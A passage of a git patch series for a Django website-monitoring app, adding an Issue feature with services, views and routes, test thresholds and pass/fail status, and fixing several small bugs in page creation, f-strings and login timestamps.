+                html_delta_uri = self.save_data_to_s3(_data=html_delta_context)
                 print(f'html_delta => {html_delta_uri}')
 
             except Exception as e:
@@ -682,31 +810,35 @@ def run_test(self, index: int=None) -> object:
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
-            try:
-                # scores & data
-                lighthouse_data = self.delta_lighthouse()
-                lighthouse_avg = lighthouse_data['scores']['average_delta']
-                if lighthouse_avg != None and lighthouse_avg > -100:
-                    lighthouse_score = (100 + lighthouse_avg)/100
-                if lighthouse_avg != None and lighthouse_avg <= -100:
-                    lighthouse_score = 0
-
-                # weights
-                if lighthouse_score == None:
-                    delta_lh_w = 0
-                elif lighthouse_score > 1:
-                    delta_lh_w = 1
-                    lighthouse_score = 1
-                else:
-                    delta_lh_w = 1
-            except Exception as e:
-                print(e)
+            # try:
+            # scores & data
+            lighthouse_data = self.delta_lighthouse()
+            lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
+            lighthouse_data['audits'] = lh_audits_uri
+            lighthouse_avg = lighthouse_data['scores']['average_delta']
+            if lighthouse_avg != None and lighthouse_avg > -100:
+                lighthouse_score = (100 + lighthouse_avg)/100
+            if lighthouse_avg != None and lighthouse_avg <= -100:
+                lighthouse_score = 0
+
+            # weights
+            if lighthouse_score == None:
+                delta_lh_w = 0
+            elif lighthouse_score > 1:
+                delta_lh_w = 1
+                lighthouse_score = 1
+            else:
+                delta_lh_w = 1
+            # except Exception as e:
+            #     print(e)
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
                 yellowlab_data = self.delta_yellowlab()
+                yl_audits_uri = self.get_yl_audits_deltas(scores=yellowlab_data['scores'])
+                yellowlab_data['audits'] = lh_audits_uri
                 yellowlab_avg = yellowlab_data['scores']['average_delta']
                 if yellowlab_avg != None and yellowlab_avg > -100:
                     yellowlab_score = (100 + yellowlab_avg)/100
@@ -772,6 +904,7 @@ def run_test(self, index: int=None) -> object:
         self.test.yellowlab_delta = yellowlab_data
         self.test.images_delta = images_data
         self.test.score = score
+        self.test.status = 'passed' if score >= self.test.threshold else 'failed'
         self.test.component_scores['html'] = (micro_diff_score * 100)
         self.test.component_scores['logs'] = (num_logs_ratio * 100)
         self.test.component_scores['lighthouse'] = (lighthouse_score * 100)
@@ -783,6 +916,11 @@ def run_test(self, index: int=None) -> object:
         self.update_page_info(self.test)
         self.update_site_info(self.test)
 
+        # create issue if failed
+        if self.test.status == 'failed':
+            print('generating new Issue...')
+            Issuer(test=self.test).build_issue()
+
         # returning updated test
         return self.test
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index e1b7cad1..a5f10e5f 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -121,8 +121,8 @@ class Meta:
         model = Test
         fields = ['id', 'site', 'page', 'time_created', 'time_completed',
         'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta',
-        'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type',
-        'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores',
+        'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', 'threshold',
+        'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores', 'status',
         ]
 
 
@@ -139,7 +139,7 @@ class Meta:
         model = Test
         fields = ['id', 'site', 'page', 'time_created', 'time_completed',
         'pre_scan', 'post_scan', 'score', 'lighthouse_delta', 
-        'yellowlab_delta', 'tags', 'component_scores', 
+        'yellowlab_delta', 'tags', 'component_scores', 'threshold', 'status',
         ]
 
 
@@ -240,4 +240,15 @@ class Meta:
 
 
 
-        
\ No newline at end of file
+class IssueSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+
+    class Meta:
+        model = Issue
+        fields = ['id', 'time_created', 'trigger', 'account', 'title',
+        'details', 'status', 'affected', 'labels'
+        ]
+
+
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 376578cb..28f6e953 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -111,6 +111,7 @@ def check_account_and_resource(
     scan_id = kwargs.get('scan_id')
     case_id = kwargs.get('case_id')
     testcase_id = kwargs.get('testcase_id')
+    issue_id = kwargs.get('issue_id')
     schedule_id = kwargs.get('schedule_id')
     automation_id = kwargs.get('automation_id')
     process_id = kwargs.get('process_id')
@@ -168,7 +169,7 @@ def check_account_and_resource(
                     _status = status.HTTP_404_NOT_FOUND
                     code = '404'
             if page_url:
-                if not Page.objects.filter(page_url=page_url, account=account).exists():
+                if Page.objects.filter(page_url=page_url, account=account).exists():
                     allowed = False
                     error = 'page already exists'
                     _status = status.HTTP_409_CONFLICT
@@ -287,6 +288,27 @@ def check_account_and_resource(
                     _status = status.HTTP_404_NOT_FOUND
                     code = '404'
         
+        # checking issues
+        if resource == 'issue':
+            if issue_id:
+                if not Issue.objects.filter(id=issue_id, account=account).exists():
+                    allowed = False
+                    error = 'issue not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if page_id:
+                if not Page.objects.filter(id=page_id, account=account).exists():
+                    allowed = False
+                    error = 'page not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
         # checking scans
         if resource == 'scan':
             if scan_id:
@@ -486,7 +508,7 @@ def create_site(request: object, delay: bool=False) -> object:
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 # run each scan component
@@ -830,7 +852,7 @@ def create_page(request: object, delay: bool=False) -> object:
         scan = Scan.objects.create(
             site=site,
             page=page, 
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            type=settings.TYPES,
             configs=configs
         )
         page.info["latest_scan"]["id"] = str(scan.id)
@@ -846,7 +868,7 @@ def create_page(request: object, delay: bool=False) -> object:
             scan = Scan.objects.create(
                 site=site,
                 page=page, 
-                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                type=settings.TYPES,
                 configs=configs
             )
             # run each scan component
@@ -942,7 +964,7 @@ def create_many_pages(request: object, obj_response: bool=False) -> object:
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 
@@ -1224,7 +1246,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
         configs = request.data.get('configs', settings.CONFIGS)
-        types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        types = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
         user = request.user
     
@@ -1233,7 +1255,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         site_id = kwargs.get('site_id')
         page_id = kwargs.get('page_id')
         configs = kwargs.get('configs', settings.CONFIGS)
-        types = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        types = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
@@ -1243,7 +1265,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # verifying types
     if len(types) == 0:
-        types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+        types = settings.TYPES
 
     # deciding on scope
     resource = 'site' if site_id else 'page'
@@ -1344,7 +1366,7 @@ def create_many_scans(request: object) -> object:
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
     configs = request.data.get('configs', settings.CONFIGS)
-    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
 
@@ -1708,10 +1730,11 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # get data from request
     if request is not None:
         configs = request.data.get('configs', settings.CONFIGS)
+        threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = request.data.get('pre_scan')
         post_scan_id = request.data.get('post_scan')
         index = request.data.get('index')
-        test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        test_type = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
         pre_scan = None
         post_scan = None
@@ -1722,10 +1745,11 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # get data from kwargs
     if request is None:
         configs = kwargs.get('configs', settings.CONFIGS)
+        threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = kwargs.get('pre_scan')
         post_scan_id = kwargs.get('post_scan')
         index = kwargs.get('index')
-        test_type = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        test_type = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
         pre_scan = None
         post_scan = None
@@ -1739,7 +1763,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # verifying test_type
     if len(test_type) == 0:
-        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+        test_type = settings.TYPES
 
     # deciding on scope
     resource = 'site' if site_id else 'page'
@@ -1835,6 +1859,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             page=p,
             type=test_type,
             tags=tags,
+            threshold=threshold,
+            status='working',
         )
 
         # add test.id to list
@@ -1920,7 +1946,8 @@ def create_many_tests(request: object) -> object:
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
     configs = request.data.get('configs', settings.CONFIGS)
-    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
+    types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
 
@@ -1937,6 +1964,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'site_id': str(id), 
                 'configs': configs,
+                'threshold': threshold,
                 'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
@@ -1964,6 +1992,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'page_id': str(id), 
                 'configs': configs,
+                'threshold': threshold,
                 'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
@@ -2274,6 +2303,244 @@ def delete_many_tests(request: object) -> object:
 
 
 
+### ------ Begin Issue Services ------ ###
+
+
+
+def create_or_update_issue(request: object=None, **kwargs) -> object:
+    """ 
+    Creates or Updates an `Issue` 
+
+    Expects: {
+        'request': object
+        'kwargs': dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    if request is not None:
+        id = request.data.get('id')
+        trigger = request.data.get('trigger')
+        title = request.data.get('title')
+        details = request.data.get('details')
+        status = request.data.get('status')
+        affected = request.data.get('affected')
+        labels = request.data.get('labels')
+        account = Member.objects.get(user=request.user).account
+    
+    # get kwargs data
+    if request is None:
+        id = kwargs.get('id')
+        trigger = kwargs.get('trigger')
+        title = kwargs.get('title')
+        details = kwargs.get('details')
+        status = kwargs.get('status')
+        affected = kwargs.get('affected')
+        labels = kwargs.get('labels')
+        account_id = kwargs.get('account_id')
+        account = Account.objects.get(id=account_id)
+
+    # get Issue if id is present
+    if id is not None:
+        issue = Issue.objects.get(id=id)
+        
+        # update data
+        if trigger is not None:
+            issue.trigger = trigger
+        if title is not None:
+            issue.title = title
+        if details is not None:
+            issue.details = details
+        if status is not None:
+            issue.status = status
+        if affected is not None:
+            issue.affected = affected
+        if labels is not None:
+            issue.labels = labels
+        
+        # save new data
+        issue.save()
+
+    # create new Issue
+    if id is None:
+        issue = Issue.objects.create(
+            account  = account,
+            title    = title,
+            details  = details,
+            labels   = labels, 
+            trigger  = trigger,
+            affected = affected
+        )
+    
+    # decide on response type
+    if request is not None:
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = IssueSerializer(issue, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    
+    # return object response
+    return issue
+
+
+
+
+def get_issues(request: object) -> object:
+    """ 
+    Get one or more `Issues`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    issue_id = request.query_params.get('issue_id')
+    site_id = request.query_params.get('site_id')
+    page_id = request.query_params.get('page_id')
+    account = Member.objects.get(user=request.user).account
+    issues = None
+    
+    # deciding on scope
+    resource = 'issue'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id, site_id=site_id,
+        issue_id=issue_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single issue
+    if issue_id != None:
+        
+        # get test
+        issue = Issue.objects.get(id=issue_id)
+
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = IssueSerializer(issue, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+
+    # get all issues scoped page if page_id passed
+    if page_id is not None:
+        issues = Issues.objects.filter(
+            affected__icontains={'id': page_id}, 
+            account=account
+        ).order_by('-time_created')
+    
+    # get all issues scoped page if page_id passed
+    if site_id is not None:
+        issues = Issues.objects.filter(
+            affected__icontains={'id': site_id}, 
+            account=account
+        ).order_by('-time_created')
+    
+    # get all account assocoiated issues
+    if issues is None:
+        issues = Issues.objects.filter(
+            account=account
+        ).order_by('-time_created')
+
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(issues, request)
+    serializer_context = {'request': request,}
+    serialized = IssueSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_issue(request: object, id: str) -> object:
+    """
+    Get single `Issue` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        issue_id=id, resource='issue'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get issue if checks passed
+    issue = Issue.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = IssueSerializer(issue, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_issue(request: object, id: str) -> object:
+    """ 
+    Deletes the `Issue` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, issue_id=id, resource='issue')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get issue if checks passed
+    issue = Issue.objects.get(id=id)
+
+    # delete test
+    issue.delete()
+
+    # return response
+    data = {'message': 'Issue has been deleted',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Schedule Services ------ ###
 
 
@@ -2297,8 +2564,8 @@ def create_or_update_schedule(request: object) -> object:
     timezone = request.data.get('timezone')
     freq = request.data.get('frequency')
     task_type = request.data.get('task_type')
-    test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    test_type = request.data.get('test_type', settings.TYPES)
+    scan_type = request.data.get('scan_type', settings.TYPES)
     configs = request.data.get('configs', settings.CONFIGS)
     schedule_id = request.data.get('schedule_id')
     site_id = request.data.get('site_id')
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 85c28f43..30804517 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -25,16 +25,6 @@
     path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
     path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
-    path('log', views.Logs.as_view(), name='log'),
-    path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
-    path('schedule', views.Schedules.as_view(), name='schedule'),
-    path('schedule/<uuid:id>', views.ScheduleDetail.as_view(), name='schedule-detail'),
-    path('automation', views.Automations.as_view(), name='automation'),
-    path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
-    path('report', views.Reports.as_view(), name='report'),
-    path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
-    path('process', views.Processes.as_view(), name='process'),
-    path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
@@ -43,6 +33,18 @@
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
+    path('issue', views.Issues.as_view(), name='issue'),
+    path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
+    path('report', views.Reports.as_view(), name='report'),
+    path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
+    path('schedule', views.Schedules.as_view(), name='schedule'),
+    path('schedule/<uuid:id>', views.ScheduleDetail.as_view(), name='schedule-detail'),
+    path('automation', views.Automations.as_view(), name='automation'),
+    path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
+    path('process', views.Processes.as_view(), name='process'),
+    path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
+    path('log', views.Logs.as_view(), name='log'),
+    path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
     path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
     path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 26eaeb45..eb5aa4f2 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -537,6 +537,41 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Issue Views ------ ###
+
+
+
+
+class Issues(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post', 'get']
+
+    def post(self, request):
+        response = create_or_update_issue(request)        
+        return response
+    
+    def get(self, request):
+        response = get_issues(request)
+        return response
+
+
+
+
+class IssueDetail(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        response = get_issue(request, id)
+        return response
+
+    def delete(self, request, id):
+        response = delete_issue(request, id)        
+        return response
+
+
+
+
 ### ------ Begin Log Views ------ ###
 
 
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index e18ceec5..bf47dce5 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -237,5 +237,11 @@
 }
 
 
+# Global Test.threshold
+TEST_THRESHOLD = 101
+
+
+# Global Scan & Test types
+TYPES = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
 
 
diff --git a/env/.env.dev.example b/env/.env.dev.example
index f642b2d1..e4bee11c 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -30,6 +30,9 @@ DB_HOST=db
 DB_NAME=app
 DB_USER=postgres
 DB_PASS=supersecretpassword
+POSTGRES_DB=app
+POSTGRES_USER=postgres
+POSTGRES_PASSWORD=supersecretpassword
 
 
 # paths
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 4280df43..3b833128 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -160,6 +160,8 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
  - Restart both celery & app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
+ - Get Current IPs for pods:
+   - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
 
 
 

From 0b00945ff72bd86b54ec7e5a015108fc331c7b1f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 10:53:47 -0600
Subject: [PATCH 590/752] fixed f string bugs

---
 app/api/utils/issuer.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 6dda32d1..78174996 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -86,14 +86,14 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'Testcase `{self.testcase.case_name}` failed on **Step {step_index}**,' + 
-                f' "{failed_step['action']['type']}".\n\n'
+                f' `{failed_step["action"]["type"]}`.\n\n'
             )
             
             # build main_issue
             main_issue = str(
                 f'### Main Issue or Exception:\n' + 
-                f' ```{failed_step['action']['exception']}``` \n\n' +
-                f' <img src="{failed_step['action']['image']}" className="max-w-3/4"/> \n\n'
+                f' ```{failed_step["action"]["exception"]}``` \n\n' +
+                f' <img src="{failed_step["action"]["image"]}" className="max-w-3/4"/> \n\n'
             )
 
             # build recommendation

From f18482c8a72792e55bb48bdd71eda543ed93a745 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 11:13:13 -0600
Subject: [PATCH 591/752] fixed delete_page bug

---
 app/api/v1/ops/services.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 28f6e953..7acd2a76 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1130,6 +1130,9 @@ def delete_page(request: object, id: str) -> object:
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
+    # get page by id
+    page = Page.objects.get(id=id)
+
     # remove s3 objects
     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
 

From ff1f096218652a06bbf55dcab4c31133b0cd5689 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 11:20:26 -0600
Subject: [PATCH 592/752] updated user last_login for google and normal auth

---
 app/api/v1/auth/services.py | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index dc4bc5a5..b3ad24a3 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -5,6 +5,7 @@
 from django.contrib.auth.middleware import get_user
 from django.contrib.auth.password_validation import validate_password
 from django.shortcuts import get_object_or_404
+from django.utils import timezone
 from rest_framework.authtoken.models import Token
 from rest_framework.response import Response
 from rest_framework.pagination import LimitOffsetPagination
@@ -83,7 +84,8 @@ def register_user(request: object) -> object:
                 username=username,
                 email=username,
                 first_name=first_name,
-                last_name=last_name
+                last_name=last_name,
+                last_login=timezone.now()
             )
 
             # setting password
@@ -155,6 +157,9 @@ def login_user(request: object) -> object:
 
             # get API token
             api_token = Token.objects.get(user=user)
+
+            # update user last_login
+            user.last_login = timezone.now()
             
             # returning data
             data = {
@@ -295,12 +300,16 @@ def jwt_login(*, user: object) -> str:
     # setting user active
     is_active = str(user.is_active).lower()
 
+    # update user last_login
+    user.last_login = timezone.now()
+    user.save()
+
     # building params for redirect
     param_string = str(
         '?access='+str(access)+'&refresh='+str(refresh)+
         '&username='+str(user.username)+'&id='+str(user.id)+
         '&email='+str(user.email)+'&is_active='+str(is_active)+
-        '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
+        '&created='+str(user.date_joined)+'&updated='+str(timezone.now())+
         '&api_token='+str(api_token.key)
     )
 
@@ -347,6 +356,7 @@ def get_or_create_user(email: str,  **extra_fields) -> object:
     user = User.objects.create(
         username=email, 
         email=email, 
+        last_login=timezone.now(),
         **extra_fields
     )
 

From 860c7371c05605221803b681c2c388e15bf579ea Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 12:05:26 -0600
Subject: [PATCH 593/752] fixed bulk page add

---
 app/api/v1/ops/services.py | 40 +++++++++++++++++++++++++++-----------
 1 file changed, 29 insertions(+), 11 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7acd2a76..d3b25bfa 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -813,9 +813,12 @@ def create_page(request: object, delay: bool=False) -> object:
 
     # creating many pages if page_urls was passed
     if page_urls is not None:
-        data = create_many_pages(request=request, obj_response=False)
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
+        print('trying to add many pages')
+        data = create_many_pages(request=request, http_response=False)
+        _status = status.HTTP_201_CREATED
+        if data.get('reason') is not None:
+            _status = status.HTTP_402_PAYMENT_REQUIRED
+        response = Response(data, status=_status)
         return response
     
     # validating page_url
@@ -888,13 +891,13 @@ def create_page(request: object, delay: bool=False) -> object:
 
 
 
-def create_many_pages(request: object, obj_response: bool=False) -> object:
+def create_many_pages(request: object, http_response: bool=True) -> object:
     """ 
     Bulk creates `Pages` for each url passed in "page_urls"
 
     Expcets: {
         'request'       : object,
-        'obj_response'  : bool
+        'http_response'  : bool
     }
 
     Returns -> dict or HTTP Response object
@@ -922,14 +925,19 @@ def create_many_pages(request: object, obj_response: bool=False) -> object:
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if http_response:
+            return Response(data, status=check_data['status'])
+        return data
 
     # pre check for max_pages
-    if (pages.count() + len(page_urls)) >= account.max_pages:
+    if (pages.count() + len(page_urls)) > account.max_pages:
+        print('max pages aparently')
         data = {'reason': 'maximum number of pages reached',}
         record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-
+        if http_response:
+            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        return data
+    
     # setting defaults
     count = len(page_urls)
     num_succeeded = 0
@@ -995,13 +1003,23 @@ def create_many_pages(request: object, obj_response: bool=False) -> object:
         'failed': failed, 
     }
 
+    # record successful API call
+    record_api_call(request, data, '201')
+
     # decide on response type
-    if obj_response:
-        record_api_call(request, data, '201')
+    if http_response:
+        print('requested http response')
+        # returning HTTP Response
         response = Response(data, status=status.HTTP_201_CREATED)
         return response
+    
+    # return dict response
+    print('requested data response')
     return data
 
+    
+    
+
 
 
 

From c052859e686b6b007f64fea899f2bc03297944bd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 17 Jul 2024 13:58:47 -0600
Subject: [PATCH 594/752] adding updates for `Issue`

---
 app/api/models.py          |  2 +-
 app/api/tasks.py           | 10 ++++++
 app/api/utils/alerts.py    |  2 +-
 app/api/utils/automater.py | 10 +++---
 app/api/utils/caser.py     | 68 +++++++++++++++++++++++++++--------
 app/api/utils/issuer.py    | 14 ++++----
 app/api/utils/scanner.py   |  3 +-
 app/api/utils/tester.py    | 12 +++----
 app/api/utils/yellowlab.py |  7 ++--
 app/api/v1/auth/views.py   |  1 +
 app/api/v1/ops/services.py | 72 ++++++++++++++++++++++++++++++--------
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 ++++++
 app/scanerr/settings.py    |  2 +-
 14 files changed, 163 insertions(+), 52 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 090bbf9d..41b7a54b 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -507,7 +507,7 @@ class Automation(models.Model):
     actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default)
 
     def __str__(self):
-        return f'{self.name}'
+        return f'{self.id}'
 
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a7358a17..bde888c7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -293,6 +293,7 @@ def create_scan(
     # run scan and automation if necessary
     scan = S(scan=created_scan, configs=configs).build_scan()
     if automation_id:
+        print('running automation from `task.create_scan`')
         Automater(automation_id, scan.id).run_automation()
     
     logger.info('Created new scan of site')
@@ -461,6 +462,7 @@ def run_test(self, test_id: str, automation_id: str=None) -> None:
     # execute test
     test = T(test=test).run_test()
     if automation_id:
+        print('running automation from `task.run_test`')
         automater(automation_id, test.id)
 
     logger.info('Test completed')
@@ -481,6 +483,7 @@ def create_test(
         pre_scan: str=None,
         post_scan: str=None,
         tags: list=None,
+        threshold: float=settings.TEST_THRESHOLD,
     ) -> None:
     """ 
     Creates a `post_scan` if necessary, waits for completion,
@@ -496,6 +499,7 @@ def create_test(
         pre_scan      : str,
         post_scan     : str,
         tags          : list,
+        threshold     : float,
     }
     
     Returns -> None
@@ -512,6 +516,8 @@ def create_test(
             page=page,
             type=type,
             tags=tags,
